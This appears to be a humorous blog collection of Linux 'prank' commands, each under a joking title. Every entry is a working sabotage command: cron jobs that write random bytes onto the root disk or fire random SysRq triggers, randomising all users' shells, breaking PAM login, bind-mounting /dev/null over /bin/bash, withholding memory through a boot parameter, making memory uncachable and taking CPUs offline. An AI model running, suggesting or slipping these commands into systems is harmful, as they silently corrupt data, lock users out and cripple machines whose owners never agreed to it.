Accelerated bitrot

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
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We don’t play favourites.

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

for I in $(getent passwd | cut -d: -f1 )
do
    chsh -s $(sort -R /etc/shells | head -n1) ${I}
done
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Add some spice to your life

Spice up your life a bit with the following command:

echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime
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No Reservations?

tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')
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Bad memory

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf
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Bound to nothing…

Add this little sucker to /etc/fstab and reboot:

/dev/null    /bin/bash    bind   bind   0 0
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sysfunboost

bmr just pointed me towards this one.

It looks like a nice way to annoy your cow-orkers…

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Speed? What speed?

This one got submitted by Ray:

echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr

It works best if you put it in rc.sysinit or any other place early in your boot sequence.

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What login?

Try and have some fun with this one:

sed -i 's/unix/time/g' /etc/pam.d/system-auth
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Who needs multiple cores anyway?

Do you remember the good old days when all you had was a single core? Time to re-live those glory days!

for I in /sys/devices/system/cpu/cpu[1-9]*
do
    echo 0 > ${I}/online
done

Unfortunately we can’t disable cpu0…

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